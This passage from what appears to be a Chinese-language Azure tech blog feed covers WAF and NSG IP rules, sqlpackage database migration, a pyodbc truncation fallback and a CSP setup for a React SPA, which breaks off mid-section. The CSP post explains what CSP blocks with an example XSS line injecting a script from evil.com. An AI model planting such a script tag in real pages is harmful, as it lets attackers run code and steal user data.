<p class="wp-block-paragraph">在自訂規則的列表中，點選你用來管制 IP 的那一條規則。點開之後，你會看到比對條件，找到比對變數為 RemoteAddr 的那一項，你就可以直接在下方的數值列表中，新增或刪除你要異動的 IP 位址。</p>



<figure class="wp-block-image size-large"><img loading="lazy" decoding="async" width="453" height="1024" src="https://stackoverflow.max-everyday.com/wp-content/uploads/2026/06/chrome_2026-06-30-18-39-cb-453x1024.jpg?v=1782816010" alt="" class="wp-image-8617" srcset="https://stackoverflow.max-everyday.com/wp-content/uploads/2026/06/chrome_2026-06-30-18-39-cb-453x1024.jpg?v=1782816010 453w, https://stackoverflow.max-everyday.com/wp-content/uploads/2026/06/chrome_2026-06-30-18-39-cb-266x600.jpg?v=1782816010 266w, https://stackoverflow.max-everyday.com/wp-content/uploads/2026/06/chrome_2026-06-30-18-39-cb.jpg?v=1782816010 468w" sizes="auto, (max-width: 453px) 100vw, 453px" /></figure>



<p class="wp-block-paragraph"><strong>第五步、儲存更新</strong></p>



<p class="wp-block-paragraph">修改完成後，點選畫面最上方的儲存按鈕。系統大約需要 1 到 2 分鐘的時間將新名單同步到防火牆。</p>



<p class="wp-block-paragraph"></p>
]]></content:encoded>
					
					<wfw:commentRss>https://stackoverflow.max-everyday.com/2026/06/waf-white-ip-list/feed/</wfw:commentRss>
			<slash:comments>0</slash:comments>
		
		
			</item>
		<item>
		<title>一目了然的 Azure NSG 設定：多 Port 阻擋與特定 IP 放行的完美組合</title>
		<link>https://stackoverflow.max-everyday.com/2026/06/azure-nsg-port-ip-list/</link>
					<comments>https://stackoverflow.max-everyday.com/2026/06/azure-nsg-port-ip-list/#respond</comments>
		
		<dc:creator><![CDATA[max-stackoverflow]]></dc:creator>
		<pubDate>Fri, 26 Jun 2026 03:31:20 +0000</pubDate>
				<category><![CDATA[Azure 筆記]]></category>
		<category><![CDATA[azure]]></category>
		<guid isPermaLink="false">https://stackoverflow.max-everyday.com/?p=8606</guid>

					<description><![CDATA[在 Azure 的網路安全性群組（NSG）世界裡...]]></description>
										<content:encoded><![CDATA[
<figure class="wp-block-image size-full"><img loading="lazy" decoding="async" width="1024" height="572" src="https://stackoverflow.max-everyday.com/wp-content/uploads/2026/06/9251883175766280132_clean.jpg?v=1782444672" alt="" class="wp-image-8607" srcset="https://stackoverflow.max-everyday.com/wp-content/uploads/2026/06/9251883175766280132_clean.jpg?v=1782444672 1024w, https://stackoverflow.max-everyday.com/wp-content/uploads/2026/06/9251883175766280132_clean-600x335.jpg?v=1782444672 600w, https://stackoverflow.max-everyday.com/wp-content/uploads/2026/06/9251883175766280132_clean-768x429.jpg?v=1782444672 768w" sizes="auto, (max-width: 1024px) 100vw, 1024px" /></figure>



<p class="wp-block-paragraph">在 Azure 的網路安全性群組（NSG）世界裡，有時候我們會遇到一個很像「既要又要」的邊緣狀況：你想要同時把好幾個 Port 關起來，不讓壞人進來，但同時又希望特定幾位好朋友（白名單 IP）可以大搖大擺地走進去。</p>



<p class="wp-block-paragraph">要同時做到阻擋大家又放行自己人，最乾淨也最聰明的作法，就是利用兩條規則的「優先順序（Priority）」差來玩一場網路版的邏輯遊戲。</p>



<p class="wp-block-paragraph">因為 Azure NSG 這個門神在檢查規則時，是採取「由上到下」比對的。數字越小的規則越優先執行，而且只要一比對成功，它就會直接定案，懶得再看下面的規則了。</p>



<hr class="wp-block-separator has-alpha-channel-opacity"/>



<h2 class="wp-block-heading">核心邏輯大公開</h2>



<p class="wp-block-paragraph">簡單來說，你只需要左右開弓，建立以下兩條規則：</p>



<figure class="wp-block-table"><table class="has-fixed-layout"><thead><tr><td><strong>規則名稱</strong></td><td><strong>優先順序</strong></td><td><strong>來源</strong></td><td><strong>目的連接埠</strong></td><td><strong>動作</strong></td><td><strong>門神心裡話</strong></td></tr></thead><tbody><tr><td>Allow-Whitelist-to-Ports</td><td>300</td><td>你的白名單 IP</td><td>80, 443, 8080</td><td>Allow（允許）</td><td>是好朋友拿著通行證來了！這幾個 Port 給你過！</td></tr><tr><td>Deny-All-to-Ports</td><td>301</td><td>Any（任何人）</td><td>80, 443, 8080</td><td>Deny（拒絕）</td><td>剩下的閒雜人等注意，只要想碰這幾個 Port，通通給我滾！</td></tr></tbody></table></figure>



<p class="wp-block-paragraph"><img src="https://s.w.org/images/core/emoji/17.0.2/72x72/26a0.png" alt="⚠" class="wp-smiley" style="height: 1em; max-height: 1em;" /> 重要提醒：允許（Allow）規則的 Priority 數字（例如 300）必須小於阻擋（Deny）規則的 Priority 數字（例如 301）。如果把阻擋數字寫得太小，門神就會先把大家都趕走，你的好朋友就再也進不來了。</p>



<hr class="wp-block-separator has-alpha-channel-opacity"/>



<h2 class="wp-block-heading">詳細設定步驟（Azure Portal 傳送門操作）</h2>



<p class="wp-block-paragraph">請直接移駕到你的 NSG （azure vmptstgjpe001-nsg）的「輸入安全性規則（Inbound security rules）」頁面，深呼吸之後點選「新增（Add）」：</p>



<h3 class="wp-block-heading">步驟 1：建立白名單允許規則</h3>



<ol start="1" class="wp-block-list">
<li>Source（來源）：下拉選單請選 IP Addresses。</li>



<li>Source IP addresses（來源 IP 位址）：輸入你想放行的白名單 IP。如果好朋友有點多，可以用半形逗號隔開，例如： 1.1.1.1, 2.2.2.0/24。</li>



<li>Source port ranges（來源連接埠範圍）：維持預設的 * 號就好。</li>



<li>Destination（目的地）：選 Any 或是直接指定那一台 VM 的內網 IP。</li>



<li>Destination port ranges（目的連接埠範圍）：輸入你想控制的多個 Port，中間記得用半形逗號隔開，例如： 80, 443, 8080。</li>



<li>Protocol（通訊協定）：看你心情與需求，選 TCP、UDP 或是 Any。</li>



<li>Action（動作）：大方地選擇 Allow。</li>



<li>Priority（優先順序）：給它一個比較小的數字，例如 300。</li>



<li>Name（名稱）：取一個好辨識的名字，像是 Allow_Whitelist_MultiPorts。</li>
</ol>



<h3 class="wp-block-heading">步驟 2：建立其餘全部阻擋規則</h3>



<p class="wp-block-paragraph">再次點選「新增（Add）」來建立第二道關卡：</p>



<ol start="1" class="wp-block-list">
<li>Source（來源）：這次要選 Any，代表任何路人甲乙丙。</li>



<li>Source port ranges：一樣維持 * 號。</li>



<li>Destination：選 Any。</li>



<li>Destination port ranges：請輸入與步驟 1 完全一模一樣的多個 Port，例如： 80, 443, 8080。</li>



<li>Protocol：請與步驟 1 保持同步。</li>



<li>Action（動作）：這次要狠下心選擇 Deny。</li>



<li>Priority（優先順序）：數字必須比步驟 1 還要大，例如 301。</li>



<li>Name（名稱）：給它一個威武的名字，像是 Deny_All_MultiPorts。</li>
</ol>



<hr class="wp-block-separator has-alpha-channel-opacity"/>



<h2 class="wp-block-heading">進階管理小技巧</h2>



<p class="wp-block-paragraph">如果你的白名單 IP 常常像天氣一樣變來變去，或者你手底下的 VM 越來越多，每次都要手動來改 NSG 規則真的會讓人想砸鍵盤。</p>



<p class="wp-block-paragraph">這時候建議可以利用「應用程式安全性群組（Application Security Group, ASG）」或者 Azure 的「IP Groups」功能。這就像是把所有好朋友的名字直接打包進一個群組懶人包，以後 NSG 規則的來源直接指定這個群組就可以了，管理起來輕鬆到可以提早下班！</p>



<p class="wp-block-paragraph"></p>
]]></content:encoded>
					
					<wfw:commentRss>https://stackoverflow.max-everyday.com/2026/06/azure-nsg-port-ip-list/feed/</wfw:commentRss>
			<slash:comments>0</slash:comments>
		
		
			</item>
		<item>
		<title>把本機MSSQL資料庫搬家到雲端</title>
		<link>https://stackoverflow.max-everyday.com/2026/06/faster-ways-to-migrate-a-local-mssql-database-to-azure-sql/</link>
					<comments>https://stackoverflow.max-everyday.com/2026/06/faster-ways-to-migrate-a-local-mssql-database-to-azure-sql/#respond</comments>
		
		<dc:creator><![CDATA[max-stackoverflow]]></dc:creator>
		<pubDate>Wed, 17 Jun 2026 01:52:50 +0000</pubDate>
				<category><![CDATA[Azure 筆記]]></category>
		<category><![CDATA[azure]]></category>
		<guid isPermaLink="false">https://stackoverflow.max-everyday.com/?p=8552</guid>

					<description><![CDATA[想像一下，你要把家裡一整棟圖書館的書，全部搬到遠...]]></description>
										<content:encoded><![CDATA[
<figure class="wp-block-image size-large"><img loading="lazy" decoding="async" width="1024" height="559" src="https://stackoverflow.max-everyday.com/wp-content/uploads/2026/06/faster-ways-to-migrate-a-local-mssql-database-to-azure-sql_clean-1024x559.jpg" alt="" class="wp-image-8560" srcset="https://stackoverflow.max-everyday.com/wp-content/uploads/2026/06/faster-ways-to-migrate-a-local-mssql-database-to-azure-sql_clean-1024x559.jpg?v=1781664386 1024w, https://stackoverflow.max-everyday.com/wp-content/uploads/2026/06/faster-ways-to-migrate-a-local-mssql-database-to-azure-sql_clean-600x327.jpg?v=1781664386 600w, https://stackoverflow.max-everyday.com/wp-content/uploads/2026/06/faster-ways-to-migrate-a-local-mssql-database-to-azure-sql_clean-768x419.jpg?v=1781664386 768w, https://stackoverflow.max-everyday.com/wp-content/uploads/2026/06/faster-ways-to-migrate-a-local-mssql-database-to-azure-sql_clean.jpg?v=1781664386 1408w" sizes="auto, (max-width: 1024px) 100vw, 1024px" /></figure>



<p class="wp-block-paragraph">想像一下，你要把家裡一整棟圖書館的書，全部搬到遠在天邊的微軟雲端資料庫。如果你用錯方法，就像是用筷子一粒一粒夾米一樣，天黑了都搬不完。</p>



<p class="wp-block-paragraph">以下是常見的幾種搬家方法與速度大比拼：</p>



<h2 class="wp-block-heading">第一名： sqlpackage 工具（ BACPAC 格式）</h2>



<p class="wp-block-paragraph">速度是三顆星！這是官方推薦的最速傳說。它會把你的資料庫打包成一個特製的壓縮檔，然後用高鐵般的速度直接倒進雲端，非常適合追求效率的人。</p>



<h2 class="wp-block-heading">第二名： Python 腳本</h2>



<p class="wp-block-paragraph">速度只有兩顆星。這就像是你雇用了一個排版工人，他必須一頁一頁看懂你的書，再抄寫到雲端上。因為多了解析文字的時間，所以速度慢了一截。</p>



<h2 class="wp-block-heading">第三名： 透過網頁（ Azure Portal ）匯入</h2>



<p class="wp-block-paragraph">速度同樣是兩顆星。這個方法的缺點是，你得先自己把大行李箱扛到雲端的置物櫃放好，雲端系統才肯幫你處理，多了一道手續。</p>



<h2 class="wp-block-heading">第四名： 使用微軟資料庫管理軟體（ SSMS ）直接發佈</h2>



<p class="wp-block-paragraph">速度只有可憐的一顆星。雖然動動滑鼠就能搞定，但它只適合資料量極少、一輩子只想搬一次家的新手。</p>



<p class="wp-block-paragraph">如果你想用最快的第一名方法，只需要簡單的兩個步驟：</p>



<p class="wp-block-paragraph">步驟一：在自己的電腦輸入這行指令，把資料庫打包成一個叫做 portal.bacpac 的行李箱。</p>



<pre class="wp-block-code"><code> sqlpackage /Action:Export `
   /SourceServerName:"10.113.82.1,1733" `
   /SourceDatabaseName:"portal" `
   /SourceUser:"&lt;user&gt;" `
   /SourcePassword:"&lt;pass&gt;" `
   /TargetFile:"portal.bacpac"</code></pre>



<p class="wp-block-paragraph">步驟二：在雲端的虛擬機器上輸入這行指令，把行李箱拆開並倒進雲端資料庫。</p>



<pre class="wp-block-code"><code> sqlpackage /Action:Import \
   /TargetServerName:"itsc-sqlsvr.database.windows.net" \
   /TargetDatabaseName:"portal-stg" \
   /TargetUser:"" \
   /SourceFile:"portal.bacpac" \
   /p:DatabaseEdition=GeneralPurpose \
   /AccessToken:"$(az account get-access-token --resource https://database.windows.net --query accessToken -o tsv)"
</code></pre>



<p class="wp-block-paragraph">最棒的是，第二步在雲端執行時，使用特別的通行證就可以直接開門，連帳號密碼都不用輸入，安全又省事。</p>
]]></content:encoded>
					
					<wfw:commentRss>https://stackoverflow.max-everyday.com/2026/06/faster-ways-to-migrate-a-local-mssql-database-to-azure-sql/feed/</wfw:commentRss>
			<slash:comments>0</slash:comments>
		
		
			</item>
		<item>
		<title>📝 【踩雷筆記】第一印象害死人！pyodbc 的 fast_executemany 截斷悲劇（HY000 錯誤）</title>
		<link>https://stackoverflow.max-everyday.com/2026/06/pyodbc-fast_executemany/</link>
					<comments>https://stackoverflow.max-everyday.com/2026/06/pyodbc-fast_executemany/#respond</comments>
		
		<dc:creator><![CDATA[max-stackoverflow]]></dc:creator>
		<pubDate>Tue, 16 Jun 2026 10:43:53 +0000</pubDate>
				<category><![CDATA[Azure 筆記]]></category>
		<category><![CDATA[Python筆記]]></category>
		<category><![CDATA[azure]]></category>
		<category><![CDATA[Python]]></category>
		<guid isPermaLink="false">https://stackoverflow.max-everyday.com/?p=8549</guid>

					<description><![CDATA[身為一個每天跟資料庫談戀愛的後端工程師，追求「快...]]></description>
										<content:encoded><![CDATA[
<figure class="wp-block-image size-large"><img loading="lazy" decoding="async" width="1024" height="572" src="https://stackoverflow.max-everyday.com/wp-content/uploads/2026/06/pyodbc-fast_executemany_clean-1024x572.jpg?v=1781606627" alt="" class="wp-image-8550" srcset="https://stackoverflow.max-everyday.com/wp-content/uploads/2026/06/pyodbc-fast_executemany_clean-1024x572.jpg?v=1781606627 1024w, https://stackoverflow.max-everyday.com/wp-content/uploads/2026/06/pyodbc-fast_executemany_clean-600x335.jpg?v=1781606627 600w, https://stackoverflow.max-everyday.com/wp-content/uploads/2026/06/pyodbc-fast_executemany_clean-768x429.jpg?v=1781606627 768w, https://stackoverflow.max-everyday.com/wp-content/uploads/2026/06/pyodbc-fast_executemany_clean.jpg?v=1781606627 1376w" sizes="auto, (max-width: 1024px) 100vw, 1024px" /></figure>



<p class="wp-block-paragraph">身為一個每天跟資料庫談戀愛的後端工程師，追求「快，還要更快」是我們的天性。當我們用 Python 的 <code>pyodbc</code> 連線到 SQL Server / Azure MSSQL 時，通常會興奮地開啟這個加速外掛：</p>



<p class="wp-block-paragraph">Python</p>



<pre class="wp-block-code"><code>cursor.fast_executemany = True
</code></pre>



<p class="wp-block-paragraph">「哇！批次寫入速度直線上傳，簡直起飛！」<img src="https://s.w.org/images/core/emoji/17.0.2/72x72/1f680.png" alt="🚀" class="wp-smiley" style="height: 1em; max-height: 1em;" /></p>



<p class="wp-block-paragraph">正當你準備提早下班、開心地去買杯珍奶時，資料庫突然對你吐了一口血：</p>



<blockquote class="wp-block-quote is-layout-flow wp-block-quote-is-layout-flow">
<p class="wp-block-paragraph"><code>pyodbc.Error: ('HY000', '[HY000] [Microsoft][ODBC Driver... String data, right truncation ...')</code></p>
</blockquote>



<p class="wp-block-paragraph">原本以為是完美的資料寫入，結果直接死在半路。這到底是怎麼回事？</p>



<hr class="wp-block-separator has-alpha-channel-opacity"/>



<h2 class="wp-block-heading"><img src="https://s.w.org/images/core/emoji/17.0.2/72x72/1f50d.png" alt="🔍" class="wp-smiley" style="height: 1em; max-height: 1em;" /> 案發現場：為什麼「快」反而出事？</h2>



<p class="wp-block-paragraph">這一切的罪魁禍首，居然是因為 <code>fast_executemany</code> 的「第一印象偏見」。</p>



<p class="wp-block-paragraph">為了追求極致的效能，<code>fast_executemany</code> 在處理一大批資料時，<strong>只會偷偷看第一列（First Row）的資料長度</strong>，然後心裡就默默下了決定：</p>



<blockquote class="wp-block-quote is-layout-flow wp-block-quote-is-layout-flow">
<p class="wp-block-paragraph">「嗯，第一列的這個字串長度是 10，那我就幫接下來的所有資料都準備 10 個字元的緩衝區（Buffer Size）吧！」</p>
</blockquote>



<p class="wp-block-paragraph">這時候，如果你的第 2 列、第 100 列、或是第 999 列資料裡，藏了一個長度是 25 的超級長字串……</p>



<p class="wp-block-paragraph"><strong>蹦！</strong> 緩衝區塞不下了。</p>



<p class="wp-block-paragraph">SQL Server 的 ODBC 驅動程式就會立刻翻臉，丟出 <code>HY000</code> 截斷錯誤（Truncation Error），然後整批資料就直接報銷。</p>



<p class="wp-block-paragraph">這就像是搬家公司看了一眼你家門口的第一個小紙箱，就決定開一台發財車來，結果後面搬出來的其實是雙門大冰箱一樣荒謬。</p>



<hr class="wp-block-separator has-alpha-channel-opacity"/>



<h2 class="wp-block-heading"><img src="https://s.w.org/images/core/emoji/17.0.2/72x72/1f6e0.png" alt="🛠" class="wp-smiley" style="height: 1em; max-height: 1em;" /> 絕妙解法：打不過就加入？不，我們可以「彈性裝死」！</h2>



<p class="wp-block-paragraph">既然這外掛這麼任性，我們該怎麼辦？難道要為了那幾顆老鼠屎，放棄整片 <code>fast_executemany</code> 的效能森林嗎？</p>



<p class="wp-block-paragraph">在這次 Commit 中，展現了一個非常優雅又帶點「渣男哲學」的解法——<strong>自動倒退嚕（Fallback）機制</strong>。</p>



<p class="wp-block-paragraph">直接來看這段神奇的程式碼精髓：</p>



<p class="wp-block-paragraph">Python</p>



<pre class="wp-block-code"><code>try:
    # 依然保持樂觀，先用快快的 fast_executemany 塞塞看
    cur.executemany(sql_insert, rows)
except pyodbc.Error as e:
    # 哎呀，被抓到有長字串、被嫌太長（HY000 截斷錯誤）了！
    if "HY000" in str(e) or "truncat" in str(e).lower():
        
        # 【精髓在此】秒關外掛，裝作什麼事都沒發生，用慢速但安全的模式重試這批資料
        cur.fast_executemany = False
        cur.executemany(sql_insert, rows)
        
        # 幫這批長字串擦完屁股後，下批資料我們繼續「開掛」
        cur.fast_executemany = True
    else:
        # 如果是別的錯誤（例如語法錯），那就真的沒救，直接噴錯誤
        raise
</code></pre>



<h3 class="wp-block-heading"><img src="https://s.w.org/images/core/emoji/17.0.2/72x72/1f4a1.png" alt="💡" class="wp-smiley" style="height: 1em; max-height: 1em;" /> 運作邏輯簡單說：</h3>



<ol start="1" class="wp-block-list">
<li><strong>先開掛衝一波：</strong> 預設繼續用 <code>fast_executemany = True</code>，畢竟 90% 的情況大家都很安全。</li>



<li><strong>遇到挫折就認輸：</strong> 一旦遇到 <code>HY000</code>（字串太長裝不下），立刻把外掛<strong>關掉</strong>（<code>fast_executemany = False</code>）。這時候 <code>pyodbc</code> 就會乖乖地為每一列資料重新計算正確的長度，確保安全寫入。</li>



<li><strong>安全過關後再開掛：</strong> 幫這批比較特別的資料擦完屁股後，下一批資料進來時，再把外掛<strong>重新打開</strong>。</li>
</ol>



<hr class="wp-block-separator has-alpha-channel-opacity"/>



<h2 class="wp-block-heading"><img src="https://s.w.org/images/core/emoji/17.0.2/72x72/1f3af.png" alt="🎯" class="wp-smiley" style="height: 1em; max-height: 1em;" /> 總結</h2>



<p class="wp-block-paragraph">這個解法厲害的地方在於，你<strong>完全不用在寫入前花費 CPU 效能去檢查每一列字串到底有多長</strong>（這通常很慢），而是採取「做錯再修正」的樂觀策略。</p>



<p class="wp-block-paragraph">既保住了大部份時間的極致高速，又完美的解決了偶發性的字串截斷地雷。</p>



<p class="wp-block-paragraph">下次用 Python 倒資料到 MSSQL 遇到 <code>HY000</code> 嗎？不妨也試試看這種「彈性裝死」的 Fallback 機制吧！</p>
]]></content:encoded>
					
					<wfw:commentRss>https://stackoverflow.max-everyday.com/2026/06/pyodbc-fast_executemany/feed/</wfw:commentRss>
			<slash:comments>0</slash:comments>
		
		
			</item>
		<item>
		<title>在 Azure 環境中為 SPA 加上 Content Security Policy（CSP）</title>
		<link>https://stackoverflow.max-everyday.com/2026/06/azure-content-security-policy-csp/</link>
					<comments>https://stackoverflow.max-everyday.com/2026/06/azure-content-security-policy-csp/#respond</comments>
		
		<dc:creator><![CDATA[max-stackoverflow]]></dc:creator>
		<pubDate>Tue, 09 Jun 2026 04:36:08 +0000</pubDate>
				<category><![CDATA[Azure 筆記]]></category>
		<category><![CDATA[azure]]></category>
		<guid isPermaLink="false">https://stackoverflow.max-everyday.com/?p=8538</guid>

					<description><![CDATA[適用情境：React / Vite 前端 + 任...]]></description>
										<content:encoded><![CDATA[
<blockquote class="wp-block-quote is-layout-flow wp-block-quote-is-layout-flow">
<p class="wp-block-paragraph"><strong>適用情境</strong>：React / Vite 前端 + 任意後端 + Azure Container Apps + nginx 反向代理</p>
</blockquote>



<hr class="wp-block-separator has-alpha-channel-opacity"/>



<h2 class="wp-block-heading">一、什麼是 CSP？</h2>



<p class="wp-block-paragraph">Content Security Policy（CSP）是一組 HTTP 回應標頭，讓瀏覽器知道「這個頁面可以載入哪些來源的資源」。它是防禦 Cross-Site Scripting（XSS）與資料注入攻擊的第二道防線。</p>



<p class="wp-block-paragraph">一旦瀏覽器收到 CSP，即使攻擊者成功注入惡意 <code>&lt;script&gt;</code>，瀏覽器也會拒絕執行——因為注入的腳本不符合 CSP 白名單。</p>



<p class="wp-block-paragraph"><strong>CSP 補足了什麼？</strong></p>



<pre class="wp-block-code"><code>&#91;沒有 CSP]
攻擊者注入 &lt;script src="https://evil.com/steal.js"&gt; → 瀏覽器直接執行 ✗

&#91;有 CSP: script-src 'self']
攻擊者注入 &lt;script src="https://evil.com/steal.js"&gt; → 瀏覽器拒絕執行 ✓</code></pre>



<hr class="wp-block-separator has-alpha-channel-opacity"/>



<h2 class="wp-block-heading">二、Azure 環境的架構選擇</h2>



<p class="wp-block-paragraph">在 Azure 上，安全標頭可以加在三個層次：</p>



<pre class="wp-block-code"><code>Internet
   │
   ▼
Azure Application Gateway (WAF)
   │  ← 可在此加 HTTP Response Header Rewrite Rules
   ▼
Azure Container Apps (nginx)
   │  ← 可在此加 add_header
   ▼
Go 後端 (middleware)
   │  ← 可在此加 w.Header().Set(...)</code></pre>



<h3 class="wp-block-heading">各層優缺比較</h3>



<figure class="wp-block-table"><table class="has-fixed-layout"><thead><tr><th>層次</th><th>優點</th><th>缺點</th></tr></thead><tbody><tr><td><strong>Application Gateway</strong></td><td>集中管理，不用動 code</td><td>需手動設定 Rewrite Rules，費用較高；Header Rewrite 為付費功能（WAF_v2 SKU）</td></tr><tr><td><strong>nginx（Container 內）</strong></td><td>Infrastructure as Code，版控於 Dockerfile/config</td><td>需要 redeploy container</td></tr><tr><td><strong>Go middleware</strong></td><td>程式碼層級，可針對路由控制</td><td>業務邏輯與安全邏輯混用；API 不需 CSP</td></tr></tbody></table></figure>



<h3 class="wp-block-heading">建議</h3>



<p class="wp-block-paragraph"><strong>對 SPA 網站來說，nginx 是最合適的地方</strong>，原因：</p>



<ol class="wp-block-list">
<li>SPA 的安全標頭只需要加在 HTML 頁面回應，不需要加在 API 回應</li>



<li>nginx 已作為 SPA 的靜態資源伺服器，天然邊界清晰</li>



<li>設定檔進版控，可 review、可追蹤</li>
</ol>



<blockquote class="wp-block-quote is-layout-flow wp-block-quote-is-layout-flow">
<p class="wp-block-paragraph">如果日後 Application Gateway 有設定 Header Rewrite，要記得移除 nginx 這邊的設定，避免同一個 header 重複出現（瀏覽器會套用第一個，但會造成混淆）。</p>
</blockquote>



<hr class="wp-block-separator has-alpha-channel-opacity"/>



<h2 class="wp-block-heading">三、為 React + Vite SPA 設計 CSP</h2>



<h3 class="wp-block-heading">分析資源來源</h3>



<p class="wp-block-paragraph">在設計 CSP 之前，先盤點頁面實際載入的所有資源：</p>



<figure class="wp-block-table"><table class="has-fixed-layout"><thead><tr><th>資源類型</th><th>來源</th><th>指令</th></tr></thead><tbody><tr><td>JavaScript</td><td>self-hosted（Vite 打包）</td><td><code>script-src 'self'</code></td></tr><tr><td>CSS</td><td>self-hosted（PostCSS 打包）</td><td><code>style-src 'self'</code></td></tr><tr><td>字型</td><td>self-hosted（@fontsource-variable/geist）</td><td><code>font-src 'self'</code></td></tr><tr><td>圖片</td><td>self-hosted；少數可能 data URI</td><td><code>img-src 'self' data:</code></td></tr><tr><td>API 呼叫</td><td>same-origin（nginx proxy 到後端）</td><td><code>connect-src 'self'</code></td></tr><tr><td>iframe</td><td>無</td><td><code>frame-src 'none'</code></td></tr></tbody></table></figure>



<h3 class="wp-block-heading">Mantine UI 的特殊考量</h3>



<p class="wp-block-paragraph">Mantine（React UI library）會透過 <code>MantineProvider</code> 在 DOM 注入一個 <code>&lt;style&gt;</code> 標籤，內容是 CSS 自訂屬性（design token）：</p>



<pre class="wp-block-code"><code>&lt;style&gt;
  :root {
    --mantine-color-blue-9: #1971c2;
    --mantine-font-size-md: 1rem;
    /* ... */
  }
&lt;/style&gt;</code></pre>



<p class="wp-block-paragraph">這個 inline <code>&lt;style&gt;</code> 是 Mantine 的執行時行為，<strong>無法預先計算 hash</strong>（除非用 CSP nonce）。因此 <code>style-src</code> 需要加上 <code>'unsafe-inline'</code>。</p>



<p class="wp-block-paragraph"><strong>這樣安全嗎？</strong> 相對安全。</p>



<ul class="wp-block-list">
<li><code>style-src 'unsafe-inline'</code> 的攻擊面遠小於 <code>script-src 'unsafe-inline'</code></li>



<li>CSS 注入最多能做到 UI 欺騙或 timing attack，無法直接竊取 cookie 或執行任意程式碼</li>



<li>重點是 <code>script-src 'self'</code> 嚴格設定，不允許 inline script 或外部 script</li>
</ul>



<h3 class="wp-block-heading">完整 CSP 設計</h3>



<pre class="wp-block-code"><code>Content-Security-Policy:
  default-src 'self';
  script-src 'self';
  style-src 'self' 'unsafe-inline';
  img-src 'self' data:;
  font-src 'self';
  connect-src 'self';
  frame-src 'none';
  frame-ancestors 'none';
  form-action 'self';
  base-uri 'self';
  object-src 'none'</code></pre>



<h3 class="wp-block-heading">其他安全標頭</h3>



<p class="wp-block-paragraph">除了 CSP，建議同時加上這些標頭：</p>



<figure class="wp-block-table"><table class="has-fixed-layout"><thead><tr><th>Header</th><th>值</th><th>用途</th></tr></thead><tbody><tr><td><code>X-Content-Type-Options</code></td><td><code>nosniff</code></td><td>防止瀏覽器做 MIME 嗅探（把 HTML 當 JS 執行）</td></tr><tr><td><code>X-Frame-Options</code></td><td><code>DENY</code></td><td>防 clickjacking（CSP <code>frame-ancestors</code> 的舊瀏覽器 fallback）</td></tr><tr><td><code>Referrer-Policy</code></td><td><code>strict-origin-when-cross-origin</code></td><td>跨站請求不洩露完整 URL path</td></tr><tr><td><code>Permissions-Policy</code></td><td><code>camera=(), microphone=(), geolocation=()</code></td><td>明確關閉不需要的 browser API</td></tr></tbody></table></figure>



<hr class="wp-block-separator has-alpha-channel-opacity"/>



<h2 class="wp-block-heading">四、nginx.conf.template 實作</h2>



<p class="wp-block-paragraph">在 nginx <code>server</code> block 層級（非個別 <code>location</code> 內）加上 <code>add_header ... always</code>：</p>



<pre class="wp-block-code"><code>server {
    listen 80;
    server_name _;

    root /usr/share/nginx/html;
    index index.html;

    # Security headers
    add_header Content-Security-Policy "default-src 'self'; script-src 'self'; style-src 'self' 'unsafe-inline'; img-src 'self' data:; font-src 'self'; connect-src 'self'; frame-src 'none'; frame-ancestors 'none'; form-action 'self'; base-uri 'self'; object-src 'none'" always;
    add_header X-Content-Type-Options "nosniff" always;
    add_header X-Frame-Options "DENY" always;
    add_header Referrer-Policy "strict-origin-when-cross-origin" always;
    add_header Permissions-Policy "camera=(), microphone=(), geolocation=()" always;

    # ... 其他設定
}</code></pre>



<blockquote class="wp-block-quote is-layout-flow wp-block-quote-is-layout-flow">
<p class="wp-block-paragraph"><strong><code>always</code> 參數</strong>：確保即使後端回傳 4xx/5xx，nginx 也會加上這些 headers。沒有 <code>always</code> 的話，錯誤頁面會沒有安全標頭。</p>
</blockquote>



<h3 class="wp-block-heading">要注意的地方</h3>



<ol class="wp-block-list">
<li><strong>不要加在 <code>/api/</code> proxy location 裡</strong>：API 回應不需要 CSP，加了反而讓前端 XHR 請求帶著多餘 header。</li>



<li><strong>避免重複設定</strong>：如果 Application Gateway 已設定 Header Rewrite，nginx 這邊要移除，否則 header 會出現兩次（部分瀏覽器行為不一致）。</li>



<li><strong>HTTPS only 部署才需要 HSTS</strong>：<code>Strict-Transport-Security</code> 只有在全站 HTTPS 時才加；如果有任何 HTTP 存取路徑，HSTS 會造成無法回頭。</li>
</ol>



<hr class="wp-block-separator has-alpha-channel-opacity"/>



<h2 class="wp-block-heading">五、上線前驗證</h2>



<h3 class="wp-block-heading">本地驗證</h3>



<p class="wp-block-paragraph">部署後使用 curl 確認標頭存在：</p>



<pre class="wp-block-code"><code>curl -I https://your-app.example.com/ | grep -i "content-security\|x-frame\|x-content\|referrer\|permissions"</code></pre>



<h3 class="wp-block-heading">瀏覽器 DevTools</h3>



<ol class="wp-block-list">
<li>開 DevTools → Network → 選 <code>index.html</code> 請求</li>



<li>查看 Response Headers，確認五個安全標頭都在</li>



<li>開 Console，確認沒有 CSP violation 錯誤（<code>Refused to load ...</code>）</li>
</ol>



<h3 class="wp-block-heading">線上掃描工具</h3>



<ul class="wp-block-list">
<li><a href="https://observatory.mozilla.org/">Mozilla Observatory</a> — 綜合安全標頭評分</li>



<li><a href="https://securityheaders.com/">SecurityHeaders.com</a> — 詳細標頭分析</li>



<li><a href="https://csp-evaluator.withgoogle.com/">CSP Evaluator（Google）</a> — 評估 CSP 強度</li>
</ul>



<hr class="wp-block-separator has-alpha-channel-opacity"/>



<h2 class="wp-block-heading">六、常見陷阱與排查</h2>



<h3 class="wp-block-heading">問題：Mantine 樣式全部消失</h3>



<p class="wp-block-paragraph"><strong>原因</strong>：<code>style-src</code> 缺少 <code>'unsafe-inline'</code>，Mantine 注入的 <code>&lt;style&gt;</code> block 被拒絕。<br><strong>解法</strong>：加上 <code>'unsafe-inline'</code>。</p>



<h3 class="wp-block-heading">問題：Console 出現 <code>Refused to connect to 'http://...'</code></h3>



<p class="wp-block-paragraph"><strong>原因</strong>：<code>connect-src 'self'</code> 嚴格限制，可能有程式碼直接連外部 API（非透過 nginx proxy）。<br><strong>解法</strong>：找出來源並調整，或暫時在 <code>connect-src</code> 白名單加入該 origin。</p>



<h3 class="wp-block-heading">問題：OAuth redirect 失敗</h3>



<p class="wp-block-paragraph"><strong>原因</strong>：OAuth 流程是瀏覽器 <code>window.location.href</code> 跳轉（navigation），不是 form submit 也不是 XHR，CSP 的 <code>form-action</code> 和 <code>connect-src</code> 都不管這個。<br><strong>結論</strong>：OAuth redirect 不受 CSP 影響，不需要特別處理。</p>



<h3 class="wp-block-heading">問題：第三方 SSO（POST 到 /auth/sso/callback）失敗</h3>



